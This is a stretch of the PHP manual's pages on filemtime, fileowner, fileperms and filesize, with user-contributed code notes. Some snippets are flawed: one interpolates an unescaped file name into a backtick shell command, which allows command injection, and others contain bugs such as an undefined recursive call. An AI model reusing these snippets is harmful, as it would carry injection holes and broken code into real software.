        echo '<img src="'.$src.'?lmod='.$lmod.'" alt="'.$alt.'" '.$attr.' />';
    }
}
?>
Will Davies Vasconcelos 17-Feb-2011 07:22
Here is a handy script to create a csv file with file names and the date when files in a given folder were inserted:

<?php
  header("Pragma: public");
  header("Cache-Control: private");
  header("Content-Type: text/csv");
  header("Content-Disposition: attachment; filename=age-of-files.csv");

  $result = array();
  $handle =  opendir(".");
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = "./".$datei;
               if (!is_dir($file))
                    $result[] = $file;
          }
     }
     closedir($handle);
  foreach($result as $r)
    if (file_exists($r))
      echo substr($r,2).",".date ("m/d/Y", filemtime($r))."\r\n";
?>
myselfasunder at gmail dot XYZ dot com 31-Oct-2010 11:02
There's a deeply-seated problem with filemtime() under Windows due to the fact that it calls Windows' stat() function, which implements DST (according to this bug: http://bugs.php.net/bug.php?id=40568). The detection of DST on the time of the file is confused by whether the CURRENT time of the current system is currently under DST.

This is a fix for the mother of all annoying bugs:

<?php
function GetCorrectMTime($filePath)
{

    $time = filemtime($filePath);

    $isDST = (date('I', $time) == 1);
    $systemDST = (date('I') == 1);

    $adjustment = 0;

    if($isDST == false && $systemDST == true)
        $adjustment = 3600;

    else if($isDST == true && $systemDST == false)
        $adjustment = -3600;

    else
        $adjustment = 0;

    return ($time + $adjustment);
}
?>

Dustin Oprea
erelsgl at gmail dot com 07-Jun-2010 10:08
Cheaper and dirtier way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

$filemtime = @filemtime($cache_file);  // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
dagger80 07-Apr-2010 09:22
Also on 32-bit systems, filemtime() also does not work for files with modification time set beyond Jan 2038. It is the dreaded time_t overflow bug for unix seconds.

On windows you can set the system time to any arbitrary future date, and any new files you created or edited will automatically change to that future date.

If exec isn't permitted for some reason, and if you could access the file via an web url (e.g. http://localhost/yourfile.txt), another workaround is to get the Last-Modified time from the HTTP headers (e.g. get_headers(url) ), and parse it as a DateTime object.

I have tested it and it works for years like 2050 and 3012.
_michael 01-Feb-2010 08:09
While testing on Windows, I noticed that the precision of filemtime is just 1 second.

So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second.

(I ran into this with Apache on Windows XP.)
Nilo 11-Jan-2010 08:01
Cheap and dirty way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

if (!file_exists($cache_file) or (time() - filemtime($cache_file) >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
james dot schafer at gotalk dot net dot au 16-Dec-2009 10:36
On the Windows system filectime() returns the creation time. To find the changed time use fileatime() or filemtime().
contacto at hardcode dot com dot ar 31-Aug-2009 05:03
when working with swf files (flash animations), there is a nice way to avoid the browser cache. i used to do this by hand, then i used a random number, but with large animations while working online, it gets boring because the server always downloads the whole animation, even if there was no change.
but...

this will do the trick

base.swf?rand=<?php echo filemtime("base.swf") ?>

<embed src="base.swf?rand=<?php echo filemtime("base.swf") ?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="1680" height="1050">
Anonymous 20-Aug-2009 12:52
Please note that many of the functions below that people have provided to get files modified after a certain time in a directory will NOT get all files on a Windows operating system.

If you copy and paste any file inside the folder or into the folder from another folder (such as images that may be used but aren't going to be modified right away), the modified time is not updated on these copied files, only the creation time.

You need to use filectime with filemtime to assure you get copied files that aren't modified but are obviously new.
info at daniel-marschall dot de 22-Jun-2009 12:59
It could be useful to determinate the timestamp of the newest file in a directory. (e.g. if you want to find out when the last change was made to your project).

Following function will help you:

<?php

function getAllFiles($directory, $recursive = true) {
     $result = array();
     $handle =  opendir($directory);
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = $directory.$datei;
               if (is_dir($file)) {
                    if ($recursive) {
                         $result = array_merge($result, getAllFiles($file.'/'));
                    }
               } else {
                    $result[] = $file;
               }
          }
     }
     closedir($handle);
     return $result;
}

function getHighestFileTimestamp($directory, $recursive = true) {
     $allFiles = getAllFiles($directory, $recursive);
     $highestKnown = 0;
     foreach ($allFiles as $val) {
          $currentValue = filemtime($val);
          if ($currentValue > $highestKnown) $highestKnown = $currentValue;
     }
     return $highestKnown;
}

// Use example

echo 'The newest file has the time stamp:<br>';
echo date('Y-m-d H:i:s', getHighestFileTimestamp('../'));

?>
geeks at geekman dot info 18-Feb-2008 06:01
This is a very handy function for dealing with browser caching. For example, say you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a pain in the ass. Instead, you can do this:

<?php
echo '<link rel="stylesheet" type="text/css" href="style.css?' . filemtime('style.css') . '" />';
?>

Sample output:

<link rel="stylesheet" type="text/css" href="style.css?1203291283" />

By appending a GET value (the UNIX timestamp) to the stylesheet URL, you make the browser think the stylesheet is dynamic, so it'll reload the stylesheet every time the modification date changes.
solarijj at gmail dot com 08-Mar-2007 09:02
To get the modification date of some remote file, you can use the fine function by notepad at codewalker dot com (with improvements by dma05 at web dot de and madsen at lillesvin dot net).

But you can achieve the same result more easily now with stream_get_meta_data (PHP>4.3.0).

However a problem may arise if some redirection occurs. In such a case, the server HTTP response contains no Last-Modified header, but there is a Location header indicating where to find the file. The function below takes care of any redirections, even multiple redirections, so that you reach the real file of which you want the last modification date.

hih,
JJS.

<?php

// get remote file last modification date (returns unix timestamp)
function GetRemoteLastModified( $uri )
{
    // default
    $unixtime = 0;

    $fp = fopen( $uri, "r" );
    if( !$fp ) {return;}

    $MetaData = stream_get_meta_data( $fp );

    foreach( $MetaData['wrapper_data'] as $response )
    {
        // case: redirection
        if( substr( strtolower($response), 0, 10 ) == 'location: ' )
        {
            $newUri = substr( $response, 10 );
            fclose( $fp );
            return GetRemoteLastModified( $newUri );
        }
        // case: last-modified
        elseif( substr( strtolower($response), 0, 15 ) == 'last-modified: ' )
        {
            $unixtime = strtotime( substr($response, 15) );
            break;
        }
    }
    fclose( $fp );
    return $unixtime;
}
?>
Benan Tumkaya (benantumkaya at yahoo) 14-Aug-2006 11:11
Here is a small but handy script that you can use to find which files in your server are modified after a  date/time that you specify. This script will go through all folders in the specified directory recursively and echo the modified files with the last modified date/time...

//Starts Here
//Put here the directory you want to search for. Put / if you want to search your entire domain
$dir='/';

//Put the date you want to compare with in the format of:  YYYY-mm-dd hh:mm:ss
$comparedatestr="2006-08-12 00:00:00";
$comparedate=strtotime($comparedatestr);

//I run the function here to start the search.
directory_tree($dir,$comparedate);

//This is the function which is doing the search...
function directory_tree($address,$comparedate){

 @$dir = opendir($address);

  if(!$dir){ return 0; }
        while($entry = readdir($dir)){
                if(is_dir("$address/$entry") && ($entry != ".." && $entry != ".")){
                        directory_tree("$address/$entry",$comparedate);
                }
                 else   {

                  if($entry != ".." && $entry != ".") {

                    $fulldir=$address.'/'.$entry;
                    $last_modified = filemtime($fulldir);
                    $last_modified_str= date("Y-m-d h:i:s", $last_modified);

                       if($comparedate < $last_modified)  {
                          echo $fulldir.'=>'.$last_modified_str;
                          echo "<BR>";
                       }

                 }

            }

      }

}
csnyder at chxo dot com 11-Aug-2006 05:59
If PHP's integer type is only 32 bits on your system, filemtime() will fail on files over 2GB with the warning "stat failed". All stat()-related commands will exhibit the same behavior.

As a workaround, you can call the system's stat command to get the modification time of a file:

On FreeBSD:
$mtime = exec ('stat -f %m '. escapeshellarg ($path));

On Linux:
$mtime = exec ('stat -c %Y '. escapeshellarg ($path));

Thanks to "mpb dot mail at gmail dot com" for his/her similar comment on stat().
dma05 at web dot de 23-Apr-2005 11:25
concerning "notepad at codewalkers dot com"'s code:

this code is pretty neat, but i just wanted to note that using the "HEAD"-method instead of the "GET"-method in the http-request might be preferrable, since then not the whole resource is being downloaded...

http/1.1 definiton snippet:
Section "9.4 HEAD"

 The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request. This method can be used for obtaining metainformation about the entity implied by the request without transferring the entity-body itself. This method is often used for testing hypertext links for validity, accessibility, and recent modification. [...]
-- snippet end ---

the code would then be...:

-- snippet ---
fputs($handle,"HEAD $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
-- snippet end ---

regards, Magnus
notepad at codewalkers dot com 11-Mar-2005 10:53
i needed the ability to grab the mod time of an image on a remote site. the following is the solution with the help of Joe Ferris.

<?php

function filemtime_remote($uri)
{
    $uri = parse_url($uri);
    $handle = @fsockopen($uri['host'],80);
    if(!$handle)
        return 0;

    fputs($handle,"GET $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
    $result = 0;
    while(!feof($handle))
    {
        $line = fgets($handle,1024);
        if(!trim($line))
            break;

        $col = strpos($line,':');
        if($col !== false)
        {
            $header = trim(substr($line,0,$col));
            $value = trim(substr($line,$col+1));
            if(strtolower($header) == 'last-modified')
            {
                $result = strtotime($value);
                break;
            }
        }
    }
    fclose($handle);
    return $result;
}
// echo filemtime_remote('http://www.somesite.com/someimage.jpg');

?>
habazi at yahoo dot com 21-Feb-2005 07:13
"this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories)."

This is not (necessarily) correct either. In *nix the timestamp can be independently set. For example the command "touch directory" updates the timestamp of a directory without file creation.

Also file removal will update the timestamp of a directory.
09-Dec-2004 05:30
A comment below states

  "When using this function to get the modified date of a directory,
   it returns the date of the file in that directory that was last modified."

this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories).
adam at roomvoter dot com 01-May-2004 10:42
The snippet of code earlier that allows you to delete all files older than 2 weeks uses the function (filemtime) - which checks the original create date of the file (filesystem independent).  You MAY want to use filectime() - that looks at when the file was last changed on YOUR file system.

        if (is_dir("$path") )
        {
           $handle=opendir($path);
           while (false!==($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   $Diff = (time() - filectime("$path/$file"))/60/60/24;
                   if ($Diff > 14) unlink("$path/$file");

               }
           }
           closedir($handle);
        }
wookie at at no-way dot org 14-Sep-2003 11:17
Another little handy tool; to get the most recent modified time from files in a directory. It even does recursive directories if you set the $doRecursive param to true. Based on a file/directory list function I saw somewhere on this site. ;)

function mostRecentModifiedFileTime($dirName,$doRecursive) {
    $d = dir($dirName);
    $lastModified = 0;
    while($entry = $d->read()) {
        if ($entry != "." && $entry != "..") {
            if (!is_dir($dirName."/".$entry)) {
                $currentModified = filemtime($dirName."/".$entry);
            } else if ($doRecursive && is_dir($dirName."/".$entry)) {
                $currentModified = mostRecentModifiedFileTime($dirName."/".$entry,true);
            }
            if ($currentModified > $lastModified){
                $lastModified = $currentModified;
            }
        }
    }
    $d->close();
    return $lastModified;
}
paranoid at dds dot nl 05-Jun-2003 02:43
To get the last modification time of a directory, you can use this:

<pre>
$getLastModDir = filemtime("/path/to/directory/.");
</pre>

Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it.

This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.

Regards,
Frank Keijzers
jay at fudge dot org 29-Jun-1999 10:55
If you want this functionality for the parent web page you should use getlastmod()
i.e.
<?php echo "Last modified: ".date( "F d Y H:i:s.", getlastmod() ); ?>
within the included page... i.e. as a commont footer include for all pages
gerardj at home dot com 20-May-1999 05:27
The above code works fine if you place it on each page you want a date stamp on.  I've found that if you place a reference such as filemtime(__FILE__) in an included or required file, that the modification time of the inherited file will be returned, not the time of the file that did the ineriting.


Gets file owner

  • « filemtime
  • fileperms »
  • PHP Manual
  • Filesystem Functions
  • Gets file owner

fileowner

(PHP 4, PHP 5)

fileowner — Gets file owner

Description

int fileowner ( string $filename )

Gets the file owner.

Parameters

filename

Path to the file.

Return Values

Returns the user ID of the owner of the file, or FALSE on failure. The user ID is returned in numerical format, use posix_getpwuid() to resolve it to a username.

Examples

Example #1 Finding the owner of a file

<?php
$filename = 'index.php';
print_r(posix_getpwuid(fileowner($filename)));
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • filegroup() - Gets file group
  • stat() - Gives information about a file
  • posix_getpwuid() - Return info about a user by user id

User Contributed Notes

dazoe 28-Jun-2010 04:21
Remember to use if(fileowner(...) === FALSE) instead of if(!fileowner()) or if(fileowner() == FLASE) because if the owner was "root" it would return 0.
joacorck at gmail dot com 26-Feb-2007 02:20
This function only works if the permissions are more less than 666
29-Jan-2006 01:58
Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :(


Gets file permissions

  • « fileowner
  • filesize »
  • PHP Manual
  • Filesystem Functions
  • Gets file permissions

fileperms

(PHP 4, PHP 5)

fileperms — Gets file permissions

Description

int fileperms ( string $filename )

Gets permissions for the given file.

Parameters

filename

Path to the file.

Return Values

Returns the file's permissions as a numeric mode. Lower bits of this mode are the same as the permissions expected by chmod(), however on most platforms the return value will also include information on the type of file given as filename. The examples below demonstrate how to test the return value for specific permissions and file types on POSIX systems, including Linux and Mac OS X.

For local files, the specific return value is that of the st_mode member of the structure returned by the C library's stat() function. Exactly which bits are set can vary from platform to platform, and looking up your specific platform's documentation is recommended if parsing the non-permission bits of the return value is required.

Examples

Example #1 Display permissions as an octal value

<?php
echo substr(sprintf('%o', fileperms('/tmp')), -4);
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);
?>

The above example will output:

1777
0644

Example #2 Display full permissions

<?php
$perms = fileperms('/etc/passwd');

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

echo $info;
?>

The above example will output:

-rw-r--r--

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • chmod() - Changes file mode
  • is_readable() - Tells whether a file exists and is readable
  • stat() - Gives information about a file

User Contributed Notes

Dominic 14-Mar-2014 05:24
A small function for the last 3 digits (777/755 ect.)

<?php
function getFilePermission($file) {
        $length = strlen(decoct(fileperms($file)))-3;
        return substr(decoct(fileperms($file)),$length);
}
?>
coolmic at example dot com 24-Aug-2013 12:52
Don't use substr, use bit operator
<?php
decoct(fileperms($file) & 0777); // return "755" for example
?>

If you want to compare permission
<?php
0755 === (fileperms($file) & 0777);
?>
admin at torntech dot com 29-Feb-2012 07:14
This may not be immediately apparent to some, but you can use octdec( $octal_value ) to match the permissions retrieved by file perms

<?php

//assumes file has 2770 permissions
$perm= fileperms( __FILE__ );
$bit = "102770";

printf( "%s\n", octdec( $bit ) );
printf( "%s\n", $perm);

?>
sviscaino123 at hotmail dot fr 15-Jun-2010 09:22
Here is a small function I made : http://pastebin.com/iKky8Vtu
I was bored and I thought it could be useful.

mixed mkperms( string $perms [, bool return_as_string = false [, string $filename ] ] )
Returns permissions given a string in literal format and a filename.
If the file name is omitted, the permissions that the function will return are based on 000-permissions.
If return_as_string is set to true, the result will be output as a 644 format string. Otherwise it will return a string converted to base-10 for chmod.

Examples:

<?php
echo mkperms('u+r', true), "\n"; // 400
echo mkperms('u+rwx,g+rw,o+x', true), "\n"; // 761

touch('myfile.txt'); // Create a file with any permissions
chmod('myfile.txt', mkperms('u=rwx,g=x,o=rw')); // myfile.txt is now at -rwx--xrw-

// Make a file and give it full permissions
touch('somefile.txt');
chmod('somefile.txt', 0777);
echo mkperms('g-w,o-rw', true, 'somefile.txt'); // 751
echo mkperms('u=rwx,g-r,o=-', true, 'somefile.txt'); // 730
// This way you can apply permissions to files
chmod('somefile.txt', mkperms('u=rwx,g-r,o=-', false, 'somefile.txt')); // somefile.txt is now at -rwx-wx---
?>

PS : sorry I had to put it on pastebin, or else it just made the note way too long.
jchris dot fillionr at kitware dot com 02-Apr-2009 11:11
Since the output of decoct( fileperms('.') ) is of the form: 40644

It seems the previous example is wrong, instead you should understand:

To get permissions formatted as "644":
<?php
echo substr(decoct( fileperms('.') ), 2);
?>

To get permissions formatted  as "0644":
<?php
echo substr(decoct( fileperms('.') ), 1);
?>
MartinAngermeier at gmx dot net 29-Oct-2008 09:37
An easy way to calculate fileperms to chmod is this:

substr(decoct(fileperms("test.html")),3);

Displays 666 or 777 (depends on chmod set).

substr(decoct(fileperms("test.html")),2);

Displays 0666 or 0777 and refers immediately to the number set with chmod();
paul2712 at gmail dot com 02-Jun-2007 06:08
Do not forget: clearstatcache();
==============================

When ever you make a:

mkdir($dstdir, 0770 ))

or a:

chmod($dstdir, 0774 );

You have to call:

clearstatcache();

before you can call:

fileperms($dstdir);
chinello at gmail dot com 25-Apr-2007 06:43
On Linux (not tested on Windows), if you want a chmod-like permissions, you can use this function:

<?php
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;

    $perms = fileperms($file);

    $cut = $octal ? 2 : 3;

    return substr(decoct($perms), $cut);
}
?>

Using it:

$ touch foo.bar
$ chmod 0754 foo.bar
<?php
echo file_perms('foo.bar'); // prints: 754
echo file_perms('foo.bar', true); // prints 0754
?>


Gets file size

  • « fileperms
  • filetype »
  • PHP Manual
  • Filesystem Functions
  • Gets file size

filesize

(PHP 4, PHP 5)

filesize — Gets file size

Description

int filesize ( string $filename )

Gets the size for the given file.

Parameters

filename

Path to the file.

Return Values

Returns the size of the file in bytes, or FALSE (and generates an error of level E_WARNING) in case of an error.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 filesize() example

<?php

// outputs e.g.  somefile.txt: 1024 bytes

$filename = 'somefile.txt';
echo $filename . ': ' . filesize($filename) . ' bytes';

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • file_exists() - Checks whether a file or directory exists

User Contributed Notes

k dot reznichak at pcpin dot com 24-Sep-2014 07:19
Here ist the very fast and reliable way to get size of large files > 2Gb on 32bit and 64bit platforms.

<?php
  /**
   * Get the size of file, platform- and architecture-independant.
   * This function supports 32bit and 64bit architectures and works fith large files > 2 GB
   * The return value type depends on platform/architecture: (float) when PHP_INT_SIZE < 8 or (int) otherwise
   * @param   resource $fp
   * @return  mixed (int|float) File size on success or (bool) FALSE on error
   */
  function my_filesize($fp) {
    $return = false;
    if (is_resource($fp)) {
      if (PHP_INT_SIZE < 8) {
        // 32bit
        if (0 === fseek($fp, 0, SEEK_END)) {
          $return = 0.0;
          $step = 0x7FFFFFFF;
          while ($step > 0) {
            if (0 === fseek($fp, - $step, SEEK_CUR)) {
              $return += floatval($step);
            } else {
              $step >>= 1;
            }
          }
        }
      } elseif (0 === fseek($fp, 0, SEEK_END)) {
        // 64bit
        $return = ftell($fp);
      }
    }
    return $return;
  }
?>
CertaiN 05-May-2014 04:52
The simplest and most efficient implemention for getting remote filesize:

<?php
function remote_filesize($url) {
    static $regex = '/^Content-Length: *+\K\d++$/im';
    if (!$fp = @fopen($url, 'rb')) {
        return false;
    }
    if (
        isset($http_response_header) &&
        preg_match($regex, implode("\n", $http_response_header), $matches)
    ) {
        return (int)$matches[0];
    }
    return strlen(stream_get_contents($fp));
}
?>
linda dot collins at mailinator dot com 13-Oct-2013 11:08
A fast implementation that determines actual file size of large files (>2GB) on 32-bit PHP:

function RealFileSize($fp)
{
    $pos = 0;
    $size = 1073741824;
    fseek($fp, 0, SEEK_SET);
    while ($size > 1)
    {
        fseek($fp, $size, SEEK_CUR);

        if (fgetc($fp) === false)
        {
            fseek($fp, -$size, SEEK_CUR);
            $size = (int)($size / 2);
        }
        else
        {
            fseek($fp, -1, SEEK_CUR);
            $pos += $size;
        }
    }

    while (fgetc($fp) !== false)  $pos++;

    return $pos;
}

Input is an open file handle.  Return value is an integer for file sizes < 4GB, floating-point otherwise.

This starts out by skipping ~1GB at a time, reads a character in, repeats.  When it gets into the last GB, it halves the size whenever the read fails.  The last couple of bytes are just read in.

Some people might have concerns over this function because $pos will become a floating point number after exceeding integer limits and they know of floating point's tendencies to be inaccurate.  On most computers that correctly implement the IEEE floating point spec, $pos will be accurate out to around 9 *petabytes*.  Unless you are working with multi-petabyte files in PHP or the code is executing on strange hardware, this function is going to be more than sufficient.  Every part of this function has been carefully crafted to deal with 32-bit deficiencies.
cfv1000 at gmail dot com 05-Sep-2013 09:20
To get the filesize of a directory use the built-in function disk_total_space
Arseny Mogilev 16-Aug-2013 07:51
<?php
/**
* Converts bytes into human readable file size.
*
* @param string $bytes
* @return string human readable file size (2,87 Мб)
* @author Mogilev Arseny
*/
function FileSizeConvert($bytes)
{
    $bytes = floatval($bytes);
        $arBytes = array(
            0 => array(
                "UNIT" => "TB",
                "VALUE" => pow(1024, 4)
            ),
            1 => array(
                "UNIT" => "GB",
                "VALUE" => pow(1024, 3)
            ),
            2 => array(
                "UNIT" => "MB",
                "VALUE" => pow(1024, 2)
            ),
            3 => array(
                "UNIT" => "KB",
                "VALUE" => 1024
            ),
            4 => array(
                "UNIT" => "B",
                "VALUE" => 1
            ),
        );

    foreach($arBytes as $arItem)
    {
        if($bytes >= $arItem["VALUE"])
        {
            $result = $bytes / $arItem["VALUE"];
            $result = str_replace(".", "," , strval(round($result, 2)))." ".$arItem["UNIT"];
            break;
        }
    }
    return $result;
}

?>
Anonymous 25-Jul-2013 07:57
This functions returns the exact file size for file larger than 2 GB on 32 bit OS:

<?php
function file_get_size($file) {
    //open file
    $fh = fopen($file, "r");
    //declare some variables
    $size = "0";
    $char = "";
    //set file pointer to 0; I'm a little bit paranoid, you can remove this
    fseek($fh, 0, SEEK_SET);
    //set multiplicator to zero
    $count = 0;
    while (true) {
        //jump 1 MB forward in file
        fseek($fh, 1048576, SEEK_CUR);
        //check if we actually left the file
        if (($char = fgetc($fh)) !== false) {
            //if not, go on
            $count ++;
        } else {
            //else jump back where we were before leaving and exit loop
            fseek($fh, -1048576, SEEK_CUR);
            break;
        }
    }
    //we could make $count jumps, so the file is at least $count * 1.000001 MB large
    //1048577 because we jump 1 MB and fgetc goes 1 B forward too
    $size = bcmul("1048577", $count);
    //now count the last few bytes; they're always less than 1048576 so it's quite fast
    $fine = 0;
    while(false !== ($char = fgetc($fh))) {
        $fine ++;
    }
    //and add them
    $size = bcadd($size, $fine);
    fclose($fh);
    return $size;
}
?>
lito at eordes dot com 07-Mar-2013 12:10
A simple and improved function to get the folder size including subfolders:

<?php
function folderSize ($dir)
{
    $size = 0;
    $contents = glob(rtrim($dir, '/').'/*', GLOB_NOSORT);

    foreach ($contents as $contents_value) {
        if (is_file($contents_value)) {
            $size += filesize($contents_value);
        } else {
            $size += realFolderSize($contents_value);
        }
    }

    return $size;
}

echo folderSize('/var/www/html/').' bytes';
?>
rommel at rommelsantor dot com 19-Nov-2011 09:11
Extremely simple function to get human filesize.
<?php
function human_filesize($bytes, $decimals = 2) {
  $sz = 'BKMGTP';
  $factor = floor((strlen($bytes) - 1) / 3);
  return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
?>
Anonymous 22-Jan-2011 03:58
if you recently appended something to file, and closed it then this method will not show appended data:
<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
You should insert a call to clearstatcache() before calling filesize()
I've spent two hours to find that =/
frank (at) haua dot net 16-Jan-2011 03:19
I have a cli script running that use the filesize function on a ssh2_sftp connection. It has the >2Gb limit issue, while it does not have that issue locally. I have managed to get around this by doing a "du -sb" command through ssh2_shell.

The following function takes the ssh2_connect resource and the path as input. It may not be neat, but it solves the problem for the moment.

<?php
function fSSHFileSize($oConn, $sPath) {
    if(false !== ($oShell = @ssh2_shell($oConn, 'xterm', null, 500, 24, SSH2_TERM_UNIT_CHARS))) {
        fwrite($oShell, "du -sb '".$sPath."'".PHP_EOL);
        sleep(1);
        while($sLine = fgets($oShell)) {
            flush();
            $aResult[] = $sLine;
        }
        fclose($oShell);
        $iSize = 0;
        if(count($aResult) > 1) {
            $sTemp = $aResult[count($aResult)-2];
            $sSize = substr($sTemp, 0, strpos($sTemp, chr(9)));
            if(is_numeric(trim($sSize))) {
                $iTemp = (int)$sSize;
                if($iTemp > "2000000000") $iSize = $iTemp;
            }
        }
        return $iSize;
    }
    return 0;
}
?>
itsrool at gmail dot com 12-Nov-2009 09:36
My solution for calculating the directory size:

<?php
/**
 * Get the directory size
 * @param directory $directory
 * @return integer
 */
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        $size+=$file->getSize();
    }
    return $size;
}
?>
tmont 25-Jul-2009 11:05
Here's the best way (that I've found) to get the size of a remote file. Note that HEAD requests don't get the actual body of the request, they just retrieve the headers. So making a HEAD request to a resource that is 100MB will take the same amount of time as a HEAD request to a resource that is 1KB.

<?php
$remoteFile = 'http://us.php.net/get/php-5.2.10.tar.bz2/from/this/mirror';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //not necessary unless the file redirects (like the PHP example we're using here)
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
  echo 'cURL failed';
  exit;
}

$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
  $status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
  $contentLength = (int)$matches[1];
}

echo 'HTTP Status: ' . $status . "\n";
echo 'Content-Length: ' . $contentLength;
?>

Result:

HTTP Status: 302
Content-Length: 8808759
Svetoslav Marinov 23-Jul-2009 07:24
This is an updated version of my previous filesize2bytes.
The return type now it's really an int.

<?php
/**
 * Converts human readable file size (e.g. 10 MB, 200.20 GB) into bytes.
 *
 * @param string $str
 * @return int the result is in bytes
 * @author Svetoslav Marinov
 * @author http://slavi.biz
 */
function filesize2bytes($str) {
    $bytes = 0;

    $bytes_array = array(
        'B' => 1,
        'KB' => 1024,
        'MB' => 1024 * 1024,
        'GB' => 1024 * 1024 * 1024,
        'TB' => 1024 * 1024 * 1024 * 1024,
        'PB' => 1024 * 1024 * 1024 * 1024 * 1024,
    );

    $bytes = floatval($str);

    if (preg_match('#([KMGTP]?B)$#si', $str, $matches) && !empty($bytes_array[$matches[1]])) {
        $bytes *= $bytes_array[$matches[1]];
    }

    $bytes = intval(round($bytes, 2));

    return $bytes;
}
?>
Supermagnus 30-Jun-2008 12:38
<?php
function getSizeFile($url) {
    if (substr($url,0,4)=='http') {
        $x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
        if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
        else { $x = $x['content-length']; }
    }
    else { $x = @filesize($url); }

    return $x;
}
?>

In case of you have a redirection in the server (like Redirect Permanent in the .htaccess)

In this case we have for exemple:
    [content-length] => Array

        (

            [0] => 294          // Size requested file

            [1] => 357556     // Real Size redirected file

        )
jason dot whitehead dot tas at gmail dot com 08-Feb-2008 12:14
I have created a handy function, using parts of code from kaspernj at gmail dot com and md2perpe at gmail dot com, which should get file sizes > 4GB on Windows, Linux and Mac  (at least).

<?php
    function getSize($file) {
        $size = filesize($file);
        if ($size < 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'))
                $size = trim(`stat -c%s $file`);
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $file->Size;
            }
        return $size;
    }
?>
webmaster at eclipse org 07-Nov-2007 04:30
On 64-bit platforms, this seems quite reliable for getting the filesize of files > 4GB

<?php
$a = fopen($filename, 'r');
fseek($a, 0, SEEK_END);
$filesize = ftell($a);
fclose($a);
?>
